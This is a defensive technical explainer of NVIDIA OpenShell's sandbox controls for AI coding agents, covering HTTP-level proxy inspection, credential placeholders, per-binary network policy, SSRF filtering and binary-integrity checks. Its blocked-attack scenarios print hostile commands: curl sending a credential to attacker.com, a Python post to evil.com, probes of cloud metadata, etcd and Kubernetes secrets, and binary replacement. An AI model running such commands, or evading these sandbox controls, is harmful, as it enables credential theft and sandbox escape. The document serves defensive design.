

OpenShell Security Concepts ? Deep Dive

A detailed explanation of the advanced security concepts used in NVIDIA OpenShell, with architecture details, key concepts, example scenarios, and how each mechanism protects against real-world agent threats.

Table of Contents

1. L7 Network Inspection (HTTP Proxy + OPA/Rego)
(#1-l7-network-inspection-http-proxy--oparego)
2. Credential Isolation (#2-credential-isolation)
3. Per-Binary Network Policy (#3-per-binary-network-policy)
4. SSRF Prevention (#4-ssrf-prevention)
5. Binary Integrity (SHA256 TOFU) (#5-binary-integrity-sha256-tofu)
6. Cross-Platform Support (#6-cross-platform-support)
7. How These Concepts Work Together (#7-how-these-concepts-work-together)

1. L7 Network Inspection (HTTP Proxy + OPA/Rego)

The Problem

Traditional network enforcement works at Layer 4 (L4) ? it sees IP addresses and port numbers. A firewall rule like "allow port 443" permits all HTTPS traffic to any host on that port. But an AI agent talking to api.openai.com:443 could be:

- GET /v1/models ? harmless, listing available models
- POST /v1/chat/completions ? expected, running inference
- POST /v1/files ? uploading your private code to OpenAI's file storage
- DELETE /v1/fine_tuning/jobs/ftjob-abc123 ? destroying a fine-tuning job

All four hit the same host and port. L4 enforcement cannot distinguish them. An AI agent with a simple "allow port 443" rule has unrestricted access to every API endpoint on every HTTPS service on the internet.

Key Concept: OSI Network Layers

Layer 7 (Application): HTTP method, path, headers, body
Layer 6 (Presentation): TLS/SSL encryption
Layer 5 (Session): Connection management
Layer 4 (Transport): TCP port numbers (e.g., 443)

Layer 3 (Network): IP addresses (e.g., 104.18.7.192)
Layer 2 (Data Link): MAC addresses
Layer 1 (Physical): Electrical signals

L4 enforcement (what Guardian Shell's eBPF does) sees only layers 3-4: the IP and port of the connect() syscall. L7 enforcement (what OpenShell's proxy does) can see the HTTP method, URL path, headers, and even the request body ? the actual intent of the request.

How OpenShell Implements L7 Inspection

OpenShell forces all agent network traffic through an HTTP CONNECT proxy running at 10.200.0.1:3128 on the host side of a veth pair. The agent sits in an isolated network namespace where the proxy is the only reachable destination.

Connection flow:

Agent process (in sandbox)

```
?  
? connect() to api.openai.com:443  
? (routed through veth to 10.200.0.1)  
?  
?  
????????????????????????????????????????????????????????  
? HTTP CONNECT Proxy (10.200.0.1:3128) ?  
? ?  
? 1. Receive: CONNECT api.openai.com:443 ?  
? 2. Identify calling binary via /proc ?  
? 3. Evaluate OPA/Rego policy (L4 decision) ?  
? 4. DNS resolve ? SSRF check ?  
? 5. Auto-detect TLS (peek first 8 bytes) ?  
? 6. TLS-terminate client side (ephemeral CA)?  
? 7. Parse HTTP request from decrypted stream?  
? 8. Evaluate OPA/Rego policy (L7 decision) ?  
? 9. Forward to real api.openai.com:443 ?  
? (re-encrypted with real server cert) ?  
????????????????????????????????????????????????????????
```

Step 5-6 is the critical part ? TLS interception:

The proxy peeks at the first 8 bytes of the tunnel. If it sees 0x16 0x03 0x0X (a TLS ClientHello), it knows the client is starting a TLS handshake. The proxy then:

1. Generates a leaf certificate for api.openai.com signed by a per-sandbox ephemeral CA (ECDSA P-256, via the rcgen crate)
2. Presents this certificate to the agent (the agent trusts the sandbox CA because it's injected into SSL_CERT_FILE, NODE_EXTRA_CA_CERTS, etc.)
3. Decrypts the HTTP request ? now the proxy sees plaintext HTTP
4. Evaluates L7 policy rules against method + path

5. Re-encrypts and forwards to the real server using the real server's certificate

This is the same technique corporate TLS inspection proxies use, but scoped to a single sandbox with an ephemeral CA that exists only in memory.

Key Concept: OPA/Rego Policy Engine

OPA (Open Policy Agent) is a general-purpose policy engine. Rego is its query language. OpenShell embeds a pure-Rust OPA implementation (regorus crate) ? no external OPA daemon needed.

How policy evaluation works:

Input (per-connection):	Rego Rules:
????????????????????????????	????????????????????????????
? host: "api.openai.com" ?	? allow_network = true { ?
? port: 443 ?	? some endpoint in endpoints ?
? binary_path: "/usr/bin/" ?	? glob.match(endpoint.host, ?
? node" ?	? ["."], input.host) ?
? binary_sha256: "a1b2..." ?	? input.port in endpoint.ports ?
? ancestors: ["/usr/bin/" ?	? binary_matches(endpoint, input) ?
? bash", ...] ?	? }
? cmdline_paths: ["/usr/" ?	????????????????????????
? local/bin/claude"] ?	
????????????????????????	

Input (per-request, L7):	Rego Rules:
????????????????????????	????????????????????????
? method: "POST" ?	? allow_request = true { ?
? path: "/v1/chat/" ?	? some rule in endpoint.rules ?
? completions" ?	? method_matches(rule, input) ?
? host: "api.openai.com" ?	? path_matches(rule, input) ?
????????????????????	? }
	????????????????????

Example YAML policy:

```
network_policies:
  allow-inference:
    endpoints:
      - host: "api.openai.com"
        port: 443
        protocol: https
    rules:
      - methods: ["POST"]
        paths: ["/v1/chat/completions"]
      - methods: ["GET"]
        paths: ["/v1/models"]
    binaries:
      - path: "/usr/local/bin/claude"

allow-github-readonly:
  endpoints:
    - host: "api.github.com"
```

```

    port: 443
    protocol: https
    rules:
      - methods: ["GET"]
        paths: ["/repos/**"]
  binaries:
    - path: "/usr/bin/git"
    - path: "/usr/bin/curl"

```

This says:

- Only claude can call OpenAI, and only the chat completions and models endpoints
- Only git and curl can call GitHub, and only for read-only (GET) operations
- Everything else is denied

Access presets simplify common patterns:

```

endpoints:
  - host: "api.github.com"
    port: 443
    access: read-only    # Expands to GET, HEAD, OPTIONS

```

read-only expands to methods: ["GET", "HEAD", "OPTIONS"] with paths: ["***"]. read-write adds POST, PUT, PATCH, DELETE. full allows everything.

Example Scenarios

Scenario 1: Agent tries to exfiltrate code to Pastebin

```

Agent: CONNECT pastebin.com:443
Proxy: OPA check ? host "pastebin.com" not in any policy endpoint ? DENY
Agent: receives 403 Forbidden

```

The agent never reaches the internet. Without L7, a port-443 allow rule would have let this through.

Scenario 2: Agent tries to upload files to OpenAI

```

Agent: CONNECT api.openai.com:443
Proxy: OPA L4 check ? host matches "allow-inference" policy ? ALLOW (L4)
Proxy: TLS intercept ? reads HTTP request
Agent: POST /v1/files
Proxy: OPA L7 check ? method POST, path /v1/files ? NOT in allowed paths
      (only /v1/chat/completions and /v1/models allowed) ? DENY
Agent: receives 403 Forbidden

```

The L4 check passed (correct host and port), but the L7 check caught the unauthorized API endpoint.

Scenario 3: Agent legitimately calls inference

```

Agent: CONNECT api.openai.com:443
Proxy: OPA L4 check ? ALLOW

```

Proxy: TLS intercept ? reads HTTP request
Agent: POST /v1/chat/completions {"model": "gpt-4", ...}
Proxy: OPA L7 check ? method POST, path /v1/chat/completions ? ALLOW
Proxy: Forward to real api.openai.com:443 with re-encrypted TLS

What Guardian Shell sees for the same scenario:

eBPF sys_enter_connect: pid=12345, addr=104.18.7.192, port=443 ? ALLOW (port 443 allowed)

Guardian Shell sees only the IP and port. It cannot distinguish the three scenarios above ? they all look like "connect to port 443".

Why This Matters

Modern AI agents interact with dozens of APIs: inference providers, code hosting, package registries, search engines, databases. L7 inspection lets you define policies like:

- "Agent can read from GitHub but not push code"
- "Agent can call inference but not upload training data"
- "Agent can query npm registry but not publish packages"
- "Agent can read from S3 but not delete objects"

Without L7 inspection, you can only say "agent can/cannot reach this host:port" ? which is too coarse for meaningful API security.

2. Credential Isolation

The Problem

AI agents need API keys to function ? calling inference APIs, accessing code repositories, authenticating with services. The standard approach is setting environment variables (ANTHROPIC_API_KEY=sk-ant-...) or writing config files (~/.config/gh/hosts.yml).

This is dangerous because:

1. The agent can read its own environment: cat /proc/self/environ
2. The agent can read config files: cat ~/.anthropic/credentials
3. A compromised agent can exfiltrate these credentials to an attacker
4. The agent can use credentials for unintended purposes (e.g., using an API key meant for inference to create fine-tuning jobs or upload files)

Key Concept: Placeholder Credential Injection

OpenShell never gives the agent real credentials. Instead, it uses a placeholder ? real credential substitution system at the proxy layer.

The mechanism:

	Outside sandbox (real credentials)	Inside sandbox (placeholders only)
Environment:	ANTHROPIC_API_KEY= "sk-ant-real-key-xyz"	ANTHROPIC_API_KEY= "openshell:resolve:env:ANTHROPIC_API_KEY"
When agent makes HTTP request:		Authorization: Bearer openshell:resolve:env:ANTHROPIC_API_KEY ? ? ???????????????????? ? Proxy intercepts ? ? Replaces: ? ? openshell:resolve: ? ? env:ANTHROPIC_ ? ? API_KEY ? ? ? ? ? sk-ant-real-key- ? ? xyz ? ???????????????????? ? ? Request forwarded to api.anthropic.com with real key

Implementation detail:

1. SecretResolver::from_provider_env() takes real credentials and returns:
 - A child_env map with placeholder values for the agent's environment
 - A resolver that maps placeholders back to real values
2. Agent process is spawned with placeholder environment variables
3. When the agent makes an HTTP request, the proxy's rewrite_http_header_block() scans headers for openshell:resolve:env:* patterns and replaces them inline
4. The real key exists only in the proxy's memory ? never on the filesystem, never in the agent's process memory (the env var contains only the placeholder)

Key Concept: Inference Router (inference.local)

OpenShell provides a virtual hostname inference.local that agents use instead of calling provider APIs directly. This adds a second layer of credential isolation.

Agent code:

```
client = OpenAI(base_url="https://inference.local/v1")
response = client.chat.completions.create(model="gpt-4", ...)
```

What actually happens:

```
Agent ? CONNECT inference.local:443
? Proxy intercepts (special case, bypasses OPA)
? TLS terminate with sandbox CA cert for "inference.local"
? Parse HTTP request: POST /v1/chat/completions
? Match against configured inference routes
? Strip agent's auth headers
? Inject real API key (from provider config)
? Rewrite "model" field in JSON body if needed
? Forward to real api.openai.com:443
? Stream response back to agent
```

Why two layers? The placeholder system handles arbitrary API keys in environment variables. The inference router goes further ? the agent doesn't even need to know which inference provider is being used. You could switch from OpenAI to Anthropic to a local Ollama instance without changing the agent's code at all.

Example Scenarios

Scenario 1: Agent tries to read its own API key

```
# Inside sandbox:
$ echo $ANTHROPIC_API_KEY
openshell:resolve:env:ANTHROPIC_API_KEY

$ cat /proc/self/environ | tr '\0' '\n' | grep ANTHROPIC
ANTHROPIC_API_KEY=openshell:resolve:env:ANTHROPIC_API_KEY
```

The agent sees only the placeholder. The real key sk-ant-... exists only in the proxy process's memory, which is outside the sandbox's network namespace and PID namespace.

Scenario 2: Agent tries to exfiltrate the placeholder

```
$ curl -H "Authorization: Bearer openshell:resolve:env:ANTHROPIC_API_KEY" \
https://attacker.com/steal
```

The proxy checks OPA policy: attacker.com is not an allowed endpoint ? DENY. The placeholder never reaches the attacker. Even if the attacker's host were somehow allowed, the proxy only performs credential substitution for configured provider hosts ? sending to an unknown host would forward the raw placeholder string, which is useless.

Scenario 3: Switching inference providers without agent changes

```
# config: route inference.local to Anthropic instead of OpenAI
providers:
  anthropic:
    api_key: "sk-ant-real-key"
    endpoint: "https://api.anthropic.com"
    auth_style: custom # Uses x-api-key header instead of Bearer
```

The agent code still calls `https://inference.local/v1/chat/completions`. The router strips the agent's auth headers, injects `x-api-key: sk-ant-real-key`, and forwards to `api.anthropic.com`. The agent never knew the switch happened.

Why This Matters

Credential theft is the #1 risk with AI agents. A compromised or manipulated agent with access to real API keys can:

- Exfiltrate keys to an attacker who uses them independently
- Make unauthorized API calls (fine-tuning, file uploads, account management)
- Pivot to other services using shared credentials
- Run up massive API bills

By ensuring the agent never possesses real credentials, OpenShell makes credential exfiltration impossible ? even if the agent is fully compromised, the attacker gets only worthless placeholder strings.

3. Per-Binary Network Policy

The Problem

An AI coding agent doesn't run as a single binary. A typical agent session spawns a tree of processes:

```
bash (shell)
??? node /usr/local/bin/claude    (the AI agent)
?   ??? node (child worker)
?   ??? git push origin main      (git operations)
?   ??? curl https://...         (HTTP requests)
?   ??? python script.py         (running user code)
?       ??? python -c "import requests; requests.post('https://evil.com', ...)"
```

With per-agent-only network policy (what Guardian Shell does), all these processes share the same network permissions. If node is allowed to reach `api.openai.com:443`, then `python script.py` ? which could be untrusted user-generated code ? also gets that access.

Key Concept: Process Identity Binding

OpenShell's proxy identifies which specific binary made each network connection by inspecting the Linux `/proc` filesystem. For every `CONNECT` request, the proxy:

1. Finds the socket owner: Reads `/proc/{pid}/net/tcp` to find which process owns the TCP connection based on the source port
2. Reads the binary path: `readlink /proc/{pid}/exe` gives the absolute path

to the executable (not the command name, which is spoofable)

3. Computes the binary hash: SHA256 of the binary file for integrity

4. Walks the ancestor chain: Reads PPid from /proc/{pid}/status upward, collecting every ancestor binary up to the sandbox entrypoint

5. Collects cmdline paths: Parses /proc/{pid}/cmdline for script detection

(e.g., node /usr/local/bin/claude ? exe is node, but the script path reveals it's Claude)

Important security decision: cmdline paths are collected for logging only. The Rego policy rules intentionally exclude them from grant-access matching because argv[0] is trivially spoofable via execve(). Only the /proc/{pid}/exe path (a kernel-maintained symlink that cannot be faked) is used for policy decisions.

How Policy Matching Works

```
network_policies:
  allow-inference:
    endpoints:
      - host: "api.anthropic.com"
        port: 443
    binaries:
      - path: "/usr/local/bin/claude"    # Exact path match
      - path: "/usr/bin/node"           # Node.js runtime

  allow-package-registry:
    endpoints:
      - host: "registry.npmjs.org"
        port: 443
    binaries:
      - path: "/usr/bin/npm"
      - path: "/usr/lib/node_modules/**" # Glob pattern

  allow-git:
    endpoints:
      - host: "github.com"
        port: 443
    binaries:
      - path: "/usr/bin/git"
      - path: "/usr/lib/git-core/*"      # Git helper binaries
```

Matching algorithm (evaluated in Rego):

1. Exact path match: /usr/bin/git matches only /usr/bin/git

2. Ancestor path match: If the calling binary is /usr/bin/node but the

policy specifies /usr/local/bin/claude, the proxy checks if claude is an ancestor in the process tree

3. Glob pattern match: `glob.match("/usr/lib/node_modules/**", ["/"], binary_path)`

Example Scenarios

Scenario 1: Agent's git subprocess pushes to GitHub

Process tree:

```
node /usr/local/bin/claude
  ??? git push origin main
    ?
      ??? CONNECT github.com:443
```

Proxy identity check:

```
binary_path: /usr/bin/git
ancestors: [/usr/bin/node, /usr/local/bin/claude, /usr/bin/bash]
```

OPA evaluation:

```
"allow-git" policy: host=github.com ?, port=443 ?, binary=/usr/bin/git ?
? ALLOW
```

Scenario 2: User-generated Python script tries to call GitHub

Process tree:

```
node /usr/local/bin/claude
  ??? python script.py
    ??? python -c "requests.get('https://github.com/...')"
      ?
        ??? CONNECT github.com:443
```

Proxy identity check:

```
binary_path: /usr/bin/python3
ancestors: [/usr/bin/python3, /usr/bin/node, /usr/local/bin/claude, /usr/bin/bash]
```

OPA evaluation:

```
"allow-git" policy: host=github.com ?, port=443 ?, binary=/usr/bin/python3 ?
(policy requires /usr/bin/git or /usr/lib/git-core/*)
? DENY
```

The Python script is denied even though it's running inside the same sandbox as git. The proxy sees that the actual binary making the connection is python3, not git.

Scenario 3: Agent runs curl to download a package

Proxy identity check:

```
binary_path: /usr/bin/curl
CONNECT registry.npmjs.org:443
```

OPA evaluation:

```
"allow-package-registry" policy: host ?, port ?, binary=/usr/bin/curl ?
(policy requires /usr/bin/npm or /usr/lib/node_modules/**)
? DENY
```

Even curl ? a legitimate tool ? is denied access to npm because the policy says only npm

itself should talk to the registry. This prevents agents from using alternative tools to bypass policy restrictions.

Why This Matters

Without per-binary policy, a sandbox is only as secure as the least trusted process inside it. User-generated code (scripts the agent writes and runs) shares the same network access as the agent itself. Per-binary policy creates internal segmentation within the sandbox:

- The AI agent binary can call inference APIs
- Git can call GitHub
- npm can call the npm registry
- User-generated scripts cannot call anything

This is the principle of least privilege applied at the process level within an already-sandboxed environment.

4. SSRF Prevention

The Problem

Server-Side Request Forgery (SSRF) tricks a server (or in this case, a proxy) into making requests to internal/private network resources that shouldn't be externally accessible.

An AI agent in a sandbox might attempt:

```
# Direct internal access
curl http://169.254.169.254/latest/meta-data/    # AWS metadata (IAM credentials)
curl http://10.0.0.1:2379/v2/keys/              # etcd (Kubernetes secrets)
curl http://localhost:6443/api/v1/secrets       # Kubernetes API

# DNS rebinding: attacker controls DNS for evil.com
# First resolution: evil.com ? 1.2.3.4 (public, passes policy check)
# Second resolution: evil.com ? 169.254.169.254 (private, SSRF!)
```

Since OpenShell runs inside a Docker container with K3s, internal services like etcd and the Kubernetes API are on the same network. An agent that can reach these can read secrets, modify cluster state, or escape the sandbox entirely.

Key Concept: Three-Tier IP Filtering

OpenShell implements three tiers of IP address validation, checked after DNS resolution but before the TCP connection is established:

Tier 1: Always Blocked (cannot be overridden)

```

??? 127.0.0.0/8      (loopback)
??? ::1              (IPv6 loopback)
??? 169.254.0.0/16   (link-local, AWS/GCP metadata)
??? fe80::/10        (IPv6 link-local)
??? 0.0.0.0          (unspecified)
??? ::               (IPv6 unspecified)
??? IPv4-mapped IPv6 (::ffff:127.0.0.1 ? unwrapped and checked)

```

Tier 2: Default Blocked (private ranges)

```

??? 10.0.0.0/8      (RFC 1918)
??? 172.16.0.0/12   (RFC 1918)
??? 192.168.0.0/16  (RFC 1918)
??? fc00::/7        (IPv6 unique local)

```

Tier 3: Control Plane Ports (always blocked on any IP)

```

??? 2379            (etcd client)
??? 2380            (etcd peer)
??? 6443            (Kubernetes API)
??? 10250            (kubelet)
??? 10255            (kubelet read-only)

```

Key Concept: DNS Resolution Timing

The order of operations is critical for preventing DNS rebinding attacks:

1. Agent: CONNECT evil.com:443
2. Proxy: OPA policy check (L4) ? ALLOW (evil.com is in allowed hosts)
3. Proxy: DNS resolve evil.com ? [169.254.169.254]
4. Proxy: IP check ? 169.254.169.254 is in Tier 1 (link-local) ? DENY
5. Agent: receives 403 Forbidden

The DNS resolution happens after policy evaluation but before the TCP connection is established. The proxy resolves the hostname, checks every returned IP address against all three tiers, and only proceeds if all IPs pass.

This prevents DNS rebinding because the proxy resolves once and checks the result. The classic DNS rebinding attack (where a second resolution returns a different IP) doesn't work because the proxy uses the resolved IP directly for the connection ? there is no second resolution.

Key Concept: allowed_ips Override

Sometimes agents legitimately need to reach private IPs (e.g., a local inference server). The `allowed_ips` policy field creates controlled exceptions:

```

network_policies:
  allow-local-inference:
    endpoints:
      - host: "inference.internal"
        port: 8080
        allowed_ips: ["10.86.8.0/24"]    # Only this subnet

```

When `allowed_ips` is set, the proxy validates resolved IPs against the allowlist instead

of the default private-range block. Tier 1 (always blocked) addresses cannot be overridden even with `allowed_ips`.

Broad CIDRs trigger a warning: anything wider than /16 (65,536+ addresses) is flagged as potentially dangerous.

Example Scenarios

Scenario 1: Agent tries AWS metadata service

```
Agent: CONNECT 169.254.169.254:80
Proxy: OPA check ? even if allowed by policy...
Proxy: IP check ? 169.254.169.254 is Tier 1 (link-local) ? ALWAYS DENY
```

No policy configuration can override this. The AWS/GCP metadata endpoint is permanently blocked.

Scenario 2: DNS rebinding attack

```
Attacker controls DNS for legit-looking.com:
  First query: legit-looking.com ? 93.184.216.34 (public)
  Second query: legit-looking.com ? 10.0.0.1 (internal etcd)
```

```
Agent: CONNECT legit-looking.com:443
Proxy: OPA check ? allowed host ? ALLOW (L4)
Proxy: DNS resolve ? [10.0.0.1] (attacker's rebind)
Proxy: IP check ? 10.0.0.1 is Tier 2 (RFC 1918 private) ? DENY
```

Even if the DNS rebinding succeeds, the IP check catches it.

Scenario 3: Agent tries to reach Kubernetes API

```
Agent: CONNECT 10.43.0.1:6443
Proxy: IP check ? port 6443 is Tier 3 (control plane) ? ALWAYS DENY
```

Control plane ports are blocked regardless of IP address ? even on public IPs. This prevents attacks where the K8s API is exposed on a public IP.

Scenario 4: IPv4-mapped IPv6 bypass attempt

```
Agent: CONNECT [::ffff:169.254.169.254]:80
Proxy: Unwrap IPv4-mapped IPv6 ? 169.254.169.254
Proxy: IP check ? Tier 1 (link-local) ? DENY
```

The proxy unwraps IPv4-mapped IPv6 addresses before checking, preventing this common bypass technique.

Why This Matters

OpenShell runs inside a Docker container with a full K3s Kubernetes cluster. The internal network contains:

- etcd (port 2379): stores all Kubernetes state including secrets

- Kubernetes API (port 6443): full cluster control
- kubelet (port 10250): node-level container management
- Other sandbox pods: potential lateral movement targets

A successful SSRF attack could give an AI agent access to Kubernetes secrets (including other sandbox credentials), the ability to create new pods (sandbox escape), or access to the host network. The three-tier filtering with DNS resolution timing makes these attacks extremely difficult.

5. Binary Integrity (SHA256 TOFU)

The Problem

Per-binary network policy (Section 3) relies on identifying which binary made a connection via `/proc/{pid}/exe`. But what if an attacker replaces the binary?

```
# Inside sandbox, if agent has write access:
cp /usr/bin/python3 /usr/bin/git    # Replace git with python
# Now python runs as "git" and gets git's network permissions
```

Or more subtly, a supply chain attack could replace a binary between sandbox creation and use ? the binary path is the same, but the code is different.

Key Concept: Trust On First Use (TOFU)

TOFU is a security model where the first time you encounter an identity, you record it as the trusted baseline. Every subsequent encounter is verified against that baseline. SSH uses this model ? the first time you connect to a server, you accept its host key. If the key changes later, you get a warning.

OpenShell applies TOFU to binary integrity:

First connection from `/usr/bin/git`:

1. Compute SHA256(`/usr/bin/git`) ? "a1b2c3d4..."
2. Record fingerprint: size=2847616, mtime=1709654400, ctime=1709654400, dev=0x0803, ino=1234567
3. Store in cache: {"`/usr/bin/git`": {hash: "a1b2c3d4...", fingerprint: ...}}
4. Allow connection (first use = trusted)

Second connection from `/usr/bin/git`:

1. Read metadata: size, mtime, ctime, dev, ino
2. Compare with cached fingerprint
 - 3a. If fingerprint matches exactly ? return cached hash (no rehash needed)
 - 3b. If fingerprint changed ? recompute SHA256
 - 4a. If hash matches ? OK (file was touched but content unchanged)
 - 4b. If hash differs ? DENY: "Binary integrity violation: `/usr/bin/git` hash changed (cached: a1b2c3d4, current: e5f6g7h8)"

Key Concept: File Fingerprinting

The fingerprint includes six fields from filesystem metadata:

Field	Why It's Checked	size	Different binary =
different size (usually)	mtime seconds + nanoseconds		Detects normal file modifications
ctime seconds + nanoseconds			Detects metadata changes (inode, permissions) ? cannot be faked by setting mtime
device ID			Detects if file moved to different filesystem
inode number			Detects if file was deleted and recreated (new inode) even with same name/mtime/size

The combination of ctime + inode is particularly important: an attacker who replaces a binary and restores the original mtime (touch -t) will still have a different ctime (changed by the kernel on inode modification) and likely a different inode (new file = new inode). Both are impossible to fake from userspace without root access to the filesystem.

Performance optimization: If all six fingerprint fields match exactly, the proxy returns the cached hash without rehashing the file. SHA256 on a large binary can take milliseconds ? the fingerprint check avoids this on every connection.

Example Scenarios

Scenario 1: Attacker replaces git binary

1. First use of /usr/bin/git (legitimate):
SHA256 = a1b2c3d4..., cached
2. Attacker: cp /usr/bin/python3 /usr/bin/git
3. Second use of /usr/bin/git:
Fingerprint check: size changed (python3 is larger) ? rehash
SHA256 = e5f6g7h8... (python3's hash)
Hash mismatch: a1b2c3d4 ? e5f6g7h8
? DENY: "Binary integrity violation"

Scenario 2: Attacker creates trojan with matching mtime

1. Attacker: cp trojan /usr/bin/git && touch -r /usr/bin/git.bak /usr/bin/git
2. Fingerprint check:
mtime: matches (attacker restored it) ?
ctime: changed (kernel updated it on write) ?
? rehash ? hash mismatch ? DENY

Scenario 3: Agent updates a package legitimately

1. npm install ? replaces /usr/lib/node_modules/package/index.js
2. Next connection from node loading this module:
Fingerprint: all fields changed (new file)
Rehash: new hash computed

Cache: no previous entry for this specific path
? First use ? ALLOW (new TOFU baseline)

TOFU trusts the binary the first time it's seen. It only blocks changes to previously-seen binaries. This means the "window of first use" is trusted ? if a binary is already compromised when the sandbox starts, TOFU won't catch it. This is a known trade-off of the TOFU model.

Why This Matters

Binary integrity checking closes the gap between "what binary does policy say is allowed" and "is this actually the same binary." Without it, per-binary network policy can be bypassed by replacing binaries. TOFU provides a practical (if imperfect) integrity guarantee without requiring a pre-computed allowlist of binary hashes ? which would be impractical for dynamic environments where packages are installed during sandbox runtime.

6. Cross-Platform Support

The Problem

Guardian Shell requires a Linux kernel with BPF support (CONFIG_BPF=y, CONFIG_BPF_SYSCALL=y, Linux 5.13+ for Landlock). This means it cannot run on macOS or Windows, where most developers work daily.

AI coding agents are used on developer workstations ? and most developers use macOS. A Linux-only security tool excludes the majority of the target audience.

Key Concept: Container-Based Abstraction

OpenShell uses Docker as its platform abstraction layer. The entire system ? including the Linux kernel security features (Landlock, seccomp, network namespaces) ? runs inside a Docker container.

```
????????????????????????????????????????????????????????????
?  macOS / Windows / Linux Host                                ?
?                                                                ?
?  ????????????????????????????????????????????????????????? ?
?  ?  Docker Desktop (runs a Linux VM on macOS/Windows)      ? ?
?  ?                                                                ? ?
?  ?  ????????????????????????????????????????????????????? ? ?
?  ?  ?  OpenShell Container (Linux)                          ? ? ?
?  ?  ?                                                                ? ? ?
?  ?  ?  K3s Kubernetes + Gateway + Sandbox Pods             ? ? ?
?  ?  ?  ????????????????????????????????????????????????? ? ? ?
?  ?  ?  ?  Sandbox Pod                                       ? ? ?
?  ?  ?  ?  Landlock ?  seccomp ?                             ? ? ?
?  ?  ?  ?  netns ?    proxy ?                               ? ? ?
?  ?  ?  ?  ????????????????????????????????????????????? ? ? ?
```

? ? ??? ? ?
? ??? ?
??

On macOS and Windows, Docker Desktop runs a lightweight Linux VM. Inside that VM, the full Linux kernel is available ? including Landlock, seccomp, and network namespaces. The developer interacts with OpenShell through the CLI, SSH tunnels, or the TUI ? all of which work cross-platform.

Supported Platforms

| Platform | Architecture | How Kernel Features Work |
|-----|-----|-----| | Linux (native) | x86_64, aarch64
| Directly on host kernel | | macOS (Docker Desktop) | Apple Silicon (arm64) | Linux VM inside Docker Desktop | | Windows (WSL2 + Docker Desktop) | x86_64 | WSL2 Linux kernel + Docker |

Trade-offs

Advantages of the container approach:

- Works on macOS and Windows where most developers are
- Consistent security guarantees across platforms (same Linux kernel in container)
- Easy deployment (docker run is the only prerequisite)
- Multi-architecture container images (amd64 + arm64)
- Remote access via SSH tunnels ? sandbox can run on a remote server while developer works locally

Disadvantages:

- Heavy: Docker + K3s + etcd + container runtime per sandbox
- Startup time: seconds vs milliseconds for process-level isolation
- Resource overhead: each sandbox is a Kubernetes pod with its own filesystem
- Docker Desktop on macOS/Windows adds another layer of indirection (VM)
- Developer must have Docker installed and running
- Nested virtualization on some cloud providers can be problematic

How Guardian Shell's Approach Differs

Guardian Shell:
????????????????
? Linux Host ?
? ?
? guardian ?
? (daemon) ?

OpenShell:
??
? Any OS with Docker ?
? ??? ?
? ? Docker Container ? ?
? ? ??? ? ?

Layer 6 ? Binary integrity (TOFU)

Proxy computes SHA256, compares with first-use hash

? Hash mismatch ? DENY

What if agent uses its own API key to call an external service?

Layer 7 ? Credential isolation

Agent has only placeholder credentials

? Real key substitution only happens for approved hosts via proxy

? Exfiltrated placeholder is useless

No single layer is sufficient alone:

| Attack | Stopped By | Would Bypass (alone) |

|-----|-----|-----| | Connect to unauthorized host | L4 policy

| Network namespace only | | Exfiltrate via allowed host (wrong endpoint) | L7

inspection | L4 policy (same host:port) | | User-generated script calls allowed API |

Per-binary policy | L7 inspection (correct method/path) | | Replace trusted binary |

Binary integrity | Per-binary policy (same path) | | DNS rebinding to internal service |

SSRF prevention | L4 policy (passed) + L7 inspection (passed) | | Steal API key and use externally | Credential isolation | All network layers (key is real, used from outside sandbox) |

This is defense-in-depth: even if one layer fails or is bypassed, subsequent layers catch the attack. The combination of all six provides substantially stronger security than any single mechanism.

Comparison with Guardian Shell's Defense Layers

Guardian Shell layers:

1. eBPF tracepoints (audit)
2. eBPF LSM hooks (enforce)
3. Landlock (inode-level)
4. seccomp (syscall filter)
5. cgroup (identity + resources)
6. Interactive permissions (human)
7. Risk scoring (intelligence)
8. Rate limiting (anti-fatigue)
9. Audit trail (forensics)

OpenShell layers:

1. Network namespace (isolation)
2. L4 OPA/Rego policy (host:port)
3. SSRF prevention (IP filtering)
4. Per-binary policy (process identity)
5. L7 HTTP inspection (method/path)
6. Binary integrity TOFU (SHA256)
7. Credential isolation (placeholders)
8. Landlock (filesystem)
9. seccomp (syscall filter)

Guardian Shell is stronger on filesystem security (real-time monitoring, temporary grants, human-in-the-loop approval). OpenShell is stronger on network security (L7 inspection, per-binary policy, credential isolation, SSRF prevention). They have complementary strengths ? an ideal security posture would combine both.

Last updated: 2026-03-25